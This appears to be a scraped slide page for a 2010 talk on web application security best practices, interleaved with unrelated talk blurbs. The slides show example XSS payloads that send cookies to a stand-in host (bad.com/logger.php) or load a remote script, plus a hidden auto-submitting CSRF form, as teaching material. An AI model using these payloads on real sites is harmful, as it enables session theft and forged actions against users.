Best practices of web app security (samvel gevorgyan)

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BEST PRACTICES OF 2010 WEB APPLICATION SECURITY by SamvelGevorgyan

STATISTICS OF VULNERABILITIES Source: ptresearch.blogspot.com/2010/06/web-application-vulnerability.html

STATISTICS OF RISK LEVELS Source: ptresearch.blogspot.com/2010/06/web-application-vulnerability.html

TOP 10 HIGH LEVEL VULNERABILITIES 01. Cross-Site Scripting (XSS) [Symantec - 2007] 02. Information leakage 03. SQL Injection [~2005] 04. Cross-Site Request Forgery (CSRF) [1990s] 05. ClickJacking [J.Grossman and R.Hansen - 2008] 06. Phishing[1987, 1996] 07. Path Traversal or Local/Remote File Inclusion 08. Shell injection 09. Session Hijacking [early 2000s] 10. File uploads

CROSS-SITE SCRIPTING DESCRIPTION: Cross-Site Scripting is a type of web application vulnerability when the attacker injects his executable code into the vulnerable website. ,[object Object],http://site.com/search.php?q=<script>alert(“XSS”)</script>

CROSS-SITE SCRIPTING TYPES: Non-Persistant Persistant 1.Non-Persistant: In this type of XSS vulnerability the attacker is able to execute his own code in a website but no changes can be done in that website.

CROSS-SITE SCRIPTING Non-Persistant EXAMPLE: http://www.site.com/viewtopic.php?id=4"><script>document.location="http://bad.com/logger.php?cookie="+document.cookie;</script> OR http://www.site.com/viewtopic.php?id=4”><script>document.write(“<img src=‘http://bad.com/logger.php?cookie=“+ document.cookie+”’/>”);</script>

CROSS-SITE SCRIPTING 2.Persistant: In this case attacker stores his executable script in the vulnerable website database which is being executed every time webpage is showing that data. Common targets are: ,[object Object]

CROSS-SITE SCRIPTING Persistant Comment in raw format: and I like the way this website developers work..hahaha :D :D <SCRIPT/XSS SRC="http://bad.com/xss.js"> </SCRIPT>

CROSS-SITE SCRIPTING Potentially Dangerous HTML elemets: TAGS ,[object Object]

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"Web Application Security is a vast topic and time is not enough to cover all kind of malicious attacks and techniques for avoiding them, so now we will focus on top 10 high level vulnerabilities. Web developers work in different ways using their custom libraries and intruder prevention systems and now we will see what they should do and should not do based on best practices." - Samvel Gevorgyan [ Presentation on Scribd ] http://www.scribd.com/doc/47157267

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Tracing the root cause of a performance issue requires a lot of patience, experience, and focus. It’s so hard that we sometimes attempt to guess by trying out tentative fixes, but that usually results in frustration, messy code, and a considerable waste of time and money. This talk explains how to correctly zoom in on a performance bottleneck using three levels of profiling: distributed tracing, metrics, and method profiling. After we learn to read the JVM profiler output as a flame graph, we explore a series of bottlenecks typical for backend systems, like connection/thread pool starvation, invisible aspects, blocking code, hot CPU methods, lock contention, and Virtual Thread pinning, and we learn to trace them even if they occur in library code you are not familiar with. Attend this talk and prepare for the performance issues that will eventually hit any successful system. About authorWith two decades of experience, Victor is a Java Champion working as a trainer for top companies in Europe. Five thousands developers in 120 companies attended his workshops, so he gets to debate every week the challenges that various projects struggle with. In return, Victor summarizes key points from these workshops in conference talks and online meetups for the European Software Crafters, the world’s largest developer community around architecture, refactoring, and testing. Discover how Victor can help you on victorrentea.ro : company training catalog, consultancy and YouTube playlists.

Finding Java's Hidden Performance Traps @ DevoxxUK 2024

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Corporate and higher education. Two industries that, in the past, have had a clear divide with very little crossover. The difference in goals, learning styles and objectives paved the way for differing learning technologies platforms to evolve. Now, those stark lines are blurring as both sides are discovering they have content that’s relevant to the other. Join Tammy Rutherford as she walks through the pros and cons of corporate and higher ed collaborating. And the challenges of these different technology platforms working together for a brighter future.

Corporate and higher education May webinar.pptx

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Best practices of web app security (samvel gevorgyan)

1. BEST PRACTICES OF 2010 WEB APPLICATION SECURITY by SamvelGevorgyan

2. STATISTICS OF VULNERABILITIES Source: ptresearch.blogspot.com/2010/06/web-application-vulnerability.html

3. STATISTICS OF RISK LEVELS Source: ptresearch.blogspot.com/2010/06/web-application-vulnerability.html

4. TOP 10 HIGH LEVEL VULNERABILITIES 01. Cross-Site Scripting (XSS) [Symantec - 2007] 02. Information leakage 03. SQL Injection [~2005] 04. Cross-Site Request Forgery (CSRF) [1990s] 05. ClickJacking [J.Grossman and R.Hansen - 2008] 06. Phishing[1987, 1996] 07. Path Traversal or Local/Remote File Inclusion 08. Shell injection 09. Session Hijacking [early 2000s] 10. File uploads

6. CROSS-SITE SCRIPTING TYPES: Non-Persistant Persistant 1.Non-Persistant: In this type of XSS vulnerability the attacker is able to execute his own code in a website but no changes can be done in that website.

7. CROSS-SITE SCRIPTING Non-Persistant EXAMPLE: http://www.site.com/viewtopic.php?id=4"><script>document.location="http://bad.com/logger.php?cookie="+document.cookie;</script> OR http://www.site.com/viewtopic.php?id=4”><script>document.write(“<img src=‘http://bad.com/logger.php?cookie=“+ document.cookie+”’/>”);</script>

9. Chat messages

10. E-mail messages

11.

12. CROSS-SITE SCRIPTING Persistant Comment in raw format: and I like the way this website developers work..hahaha :D :D <SCRIPT/XSS SRC="http://bad.com/xss.js"> </SCRIPT>

13.

14. <body>

15. <embed>

16. <frame>

17. <script>

18. <frameset>

19. <html>

20. <iframe>

21. <img>

22. <style>

23. <layer>

24. <ilayer>

25. <meta>

26.

27. style

28. href

29.

30. Onchange

31. Onclick

32. Ondrag

33. Onerror

34. Onfocus

35. Onkeypress

36. Onkeyup

37. Onload

38. Onmouseover

39. Onmousemove

40. Onmove

41. Onresize

42. Onselectstart

43. Onselect

44. Onsubmit

45. Onunload

46. Onscroll, etc.*all HTML events

47.

48. PHP Input Filter

49. PHP libraries:

50. HTML_Safe

51. htmLawed

52. kses

53.

54. BEST SOLUTION COMPARISON: Source: www.htmlpurifier.org/comparison

55. BEST SOLUTION COMPARISON: Source: www.htmlpurifier.org/comparison

56.

57. INFORMATION LEAKAGE COUSES OF: Directory listening misconfiguration Unproper error handling Unproper filetype handling Sensitive HTML comments, etc. 1.Directory listening misconfiguration: Leaving directory listening enabled allows the attacker to read the list of all files in a directory.

58.

59.

60.

61. sql_backup.tar.gz

62. memberlist.xml

63. phpinfo.html

64. dbClass.inc

65.

66.

67. BEST SOLUTION Directory listening misconfiguration put a blank file named index.html in that directory. put a file named .htaccess in that directory consisting of only this line:Options –indexes NOTE: all sub-directories of that directory will also get their directory listings turned off.

68.

69. display_errors = Off

70. log_errors = On

71.

72.

73. Database files(*.sql, *.cvs, *.xml, *.xls, etc.)

74.

75.

76. SQL INJECTION TYPES: Normal Blind 1.Normal: In this type of SQL Injection vulnerability attacker sends a custom SQL query and gets the output in the screen.

77.

78.

79.

80. magic_quotes_gpc = on

81. PHP functions

82. filter_var()

83. mysql_real_escape_string()

84. sprintf()

85. Put variables into the quotes(e.g: ‘$id’)

86.

87. BEST SOLUTION GreenSQL open source database firewall:

88.

89. CROSS-SITE REQUEST FORGERY EXAMPLE: <div style=“display:none”> <iframe name=“hidden”></iframe> <form name=“Form” action= “http://site.com/post.php” target=“hidden” method=“POST”> <input type=“text” name=“message” value=“I like www.bad.com” /> <input type=“submit” /> </form> <script>document.Form.submit();</script> </div>

90.

91.

92.

93. href attribute

94. src attribute

95. hidden field in all forms

96. Actions:

97. Log

98. Invalidate

99. RedirectUser (Browser) 1. Add token with regex 2. Add token with HTML parser 3. Add token in browser with Javascript Source: www.owasp.org/index.php/CSRFGuard

100.

101. CLICK-JACKING EXAMPLE:

102.

Notas del editor

“A clever person solves a problem. A wise person avoids it.”Albert Einstein

Best practices of web app security (samvel gevorgyan)

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Best practices of web app security (samvel gevorgyan)

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